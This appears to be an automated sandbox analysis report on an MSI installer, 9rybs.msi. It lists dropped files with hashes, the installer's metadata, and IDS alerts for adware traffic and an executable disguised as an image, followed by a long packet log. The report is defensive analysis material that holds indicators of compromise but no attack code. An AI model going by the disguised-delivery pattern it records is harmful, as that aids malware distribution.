Entropy (8bit):	1.8163106328726237
Encrypted:	false
SSDEEP:	96:Phl1uFTZcdvRl1vR8v5CbFWco2WGlvRl1vRW:T1ct2vRl1vR8vOFWFGlvRl1vRW
MD5:	7F714784E1BBE635E34F04CB6DB7E421
SHA1:	3198BF6EE9A7BDA0126FEF075A9A9111FFD50F41
SHA-256:	FBCE84DC1BCAF6AF6EF2BF1A5FA35852C2EE52C64B464A6E04FDF1B739E38FD4
SHA-512:	6BCFD534765480E1D50A3BC84F7736600FAAA1E69A0A50E364C8B8EB89BAB12C77EF8445AA1F27467C52D1B00637B4A86D4F9AA8F9DA68281DF3BC6AF3A36818
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362964772669496
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgauh:zTtbmkExhMJCIpE8
MD5:	413FE814F0C1F41F1F87970315F0FA27
SHA1:	5D95820EEBDCB43C619BD1C9D70A2060AC9FA700
SHA-256:	FD7850FAC79B8B68DB2FB86E866A6B4EB98F1F86B4E8677864F61F00EB9B07A4
SHA-512:	AAD2D212107C85A676D8CDC7BEA51BD9A4705B53423DBC559606F75B7C66645D16CF8E568B84D8DB7CA149B63353AB6D52EA6D0D0BD1D75FB0EAD14AA5B2BCDC
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF218F0E8B2A772D72.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	1.8163106328726237
Encrypted:	false
SSDEEP:	96:Phl1uFTZcdvRl1vR8v5CbFWco2WGlvRl1vRW:T1ct2vRl1vR8vOFWFGlvRl1vRW
MD5:	7F714784E1BBE635E34F04CB6DB7E421
SHA1:	3198BF6EE9A7BDA0126FEF075A9A9111FFD50F41
SHA-256:	FBCE84DC1BCAF6AF6EF2BF1A5FA35852C2EE52C64B464A6E04FDF1B739E38FD4
SHA-512:	6BCFD534765480E1D50A3BC84F7736600FAAA1E69A0A50E364C8B8EB89BAB12C77EF8445AA1F27467C52D1B00637B4A86D4F9AA8F9DA68281DF3BC6AF3A36818
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5ABB72A42C3689C8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	1.1930649884596116
Encrypted:	false
SSDEEP:	96:9dToTZ8+cdvRl1vR8v5CbFWco2WGlvRl1vRW:bTodl2vRl1vR8vOFWFGlvRl1vRW
MD5:	D775FEA4C65C18EA262E874595C06CAF
SHA1:	70D1301402AEE425780717C2012AC1081414D5B2
SHA-256:	29D97A87CF031E01DBB014257E9C54F114E89E335126EEF79715B88D88789033
SHA-512:	436A7D77BAAAA432B2086CFF7422E567C835158D1B714B6048E7A8829BD99DC929F13A1ABFD0D047D70C64808CE4C3A5C3B3EE394F28AEE0A0C4689B61C3D5F4
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFA5CCCCAC6DD23AA0.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFBAD3E09A4BB3EFCB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.29529501426038246
Encrypted:	false
SSDEEP:	48:0s1TyvRlSuvRwvRlSuvRrAEu5CyEcTgt8xfoHswXGcp4ru2xBxYxMxqxrxbxEoyO:0VvRl1vRwvRl1vR8v5CbFWco2WGcm
MD5:	5138C79271D9FB58310A415CDCD83DFF
SHA1:	C01B984548F238802F8E6E86EF522E5F8C314631
SHA-256:	36C332089A099DF8B8505677DC9617C179429F26136A678E1CF075F444FA19F2
SHA-512:	5DA89A3FBA1D20C9C6A7A2C217748E466ECB6A72747C0F740D75D8BF30AA7E9611992E27A42971998C8C1ADE1E811E3AD88B01C88376F69D2DA47002D85C8FD8
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC45604C151FBD85B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.06919560449229753
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOsMcFLm2WEXyVky6l3X:2F0i8n0itFzDHF8Zm2WEx3X
MD5:	D49179985AEBAFA5B733C4D4281B017E
SHA1:	EB2EFEC23039CB85C44BDF406252E46A4BFAAA62
SHA-256:	551A1EFABB277C998BA8127123E34D36E4A8203826ED33B61C80C931021809DA
SHA-512:	954D57A9FA42C9DFDCF89FBE5CCFE4F1F3FF551949FD19C0985A7622DF18372D36C3525D71C1531502345D2EF4BF0C996F691C9629D2E64331CAB7B6E3309F49
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFE417B02D5E8A5095.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

**\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.607563206984032
Encrypted:	false
SSDEEP:	3:Z7llt55I2Y1AnGgwSD/8lLn:PoGG9SDMLn
MD5:	F08F91EEA91727FEAE3522DF3433269F
SHA1:	F8B01736D9C45FB4D784F5281451F848B272FF61
SHA-256:	D3C128F784D516CF484F9D8AB94D6BF041EAECEFBB2C5AD252943DEEFC83E18F
SHA-512:	E41810D697214B7AE69637CC61D3290DD5F72E348C4B90F9921C0DC158D346CC589B3D5EA83685E0E8AF35FDC9C439A014BA1040213621ADF4D075A27F4CBF44
Malicious:	false
Preview:	....0.6.1.5.4.4.....\MAILSLOT\NET\GETDCB6EA7176.................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {884C282A-B0FB-4975-844E-5DC3BC12BA4B}, Number of Words: 10, Subject: PRCLOMR MR, Author: PRCLOMR MR, Name of Creating Application: Advanced Installer 18.3 build e2a0201b, Template: ;1046, Comments: A base dados do instalador contm a lgica e os dados PRCLOMR MR necessrios para instalar o PRCLOMR MR., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Entropy (8bit):	7.898527997571246
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	9rybs.msi
File size:	12'885'696 bytes
MD5:	e39e03a8e95aec841d8ec9e1ab3d5706
SHA1:	3d9812935a2413fea198c3b11bf48769385bb077
SHA256:	7b67c71ae5aa24c92655d29e37896f639fa42fa79713b174c6a660f5c19e49a2
SHA512:	4878f455e8824ed2914f4a155daeb501cf45385440cfe6cc91fd43dfe68c4f014202f67db389a1a06de20bd0053231c91ecbf4f7d03e66ecefac1c64de4d9cdc
SSDEEP:	393216:x99OsRVjtNK9oUMZ73hrLcoV7UBOQZ3M+:x9lN+HWlLco+MQhp
TLSH:	CAD6121275CA8732EA7F8234A6AAD73625BA3FE00BB154DF13D4593A0DB45C242B1F17
File Content Preview:	........................>...................$...................................................................................................................J...K...L...M...N...O...P...Q...R...S...T...U...........v......................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-02T14:17:04.104879+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:02.079215+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:59.357207+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:59.995709+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:00.634854+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:59.822396+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:58.280053+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:58.101078+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:58.520069+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:01.419059+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:00.170890+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:59.238977+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:59.120820+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:59.000829+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:03.129170+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:58.708055+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:49.994894+0200	TCP	2001683	ET ADWARE_PUP Windows executable sent when remote host claims to send an image	443	49707	188.114.97.3	192.168.2.9
2024-08-02T14:16:58.400227+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:05.217884+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:03.799262+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:01.767250+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:02.779659+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:58.828216+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:03.624188+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:00.515857+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:59.646763+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:00.929624+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:49.899563+0200	TCP	2001046	ET MALWARE UPX compressed file download possible malware	443	49707	188.114.97.3	192.168.2.9
2024-08-02T14:17:00.344289+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:00.753285+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:02.435205+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:03.447548+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:03.975563+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:02.955846+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:01.105312+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:01.591471+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:59.476645+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:02.607625+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:16:48.126661+0200	TCP	2001683	ET ADWARE_PUP Windows executable sent when remote host claims to send an image	443	49706	188.114.97.3	192.168.2.9
2024-08-02T14:17:01.889631+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:01.300206+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:02.261195+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79
2024-08-02T14:17:03.267318+0200	TCP	2849814	ETPRO ADWARE_PUP TakeMyFile User-Agent	49710	80	192.168.2.9	52.54.161.79

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2024 14:16:47.044668913 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:47.044693947 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:47.044760942 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:47.047518969 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:47.047530890 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:47.557610989 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:47.557714939 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:47.561793089 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:47.561801910 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:47.562230110 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:47.600354910 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:47.644498110 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.029987097 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030119896 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030206919 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030284882 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030286074 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.030316114 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030359983 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.030462027 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030543089 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030670881 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030709028 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.030721903 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.030776024 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.035595894 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.035654068 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.035664082 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.087376118 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.087389946 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.122785091 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.122865915 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.122876883 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.123027086 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.123111963 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.123126030 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.123135090 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.123182058 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.123193979 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.123553991 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.123636961 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.123683929 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.123691082 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.123805046 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.123811007 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.124368906 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.124439955 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.124448061 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.124531984 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.124603987 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.124612093 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.125155926 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.125238895 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.125240088 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.125268936 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.125354052 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.125360966 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.125978947 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.126072884 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.126140118 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.126147985 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.126322031 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.126718998 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.126856089 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.126928091 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.126952887 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.126960993 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.127007961 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.216895103 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217144012 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217211962 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.217223883 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217305899 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217403889 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217408895 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.217436075 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217479944 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.217524052 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217528105 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.217550993 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217590094 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.217735052 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217814922 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.217822075 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217834949 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217927933 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.217941999 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.217952967 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.218059063 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.218096972 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.218208075 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.218213081 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.218571901 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.219060898 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.219177008 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.219361067 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.219445944 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.219722033 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.219806910 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.258188009 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.258266926 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.314069986 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.314158916 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.319030046 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.319096088 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.323605061 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.323668957 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.328407049 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.328470945 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.328573942 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.328651905 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.333313942 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.333376884 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.337929964 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.338021994 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.342704058 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.342766047 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.342799902 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.342858076 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.347598076 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.347661018 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.354408979 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.354477882 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.360994101 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.361082077 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.361103058 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.361155987 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.366836071 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.366899967 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.372445107 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.372509003 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.377492905 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.377554893 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.377597094 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.377656937 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.382263899 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.382333040 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.386987925 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.387048960 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.391695023 CEST	443	49706	188.114.97.3	192.168.2.9
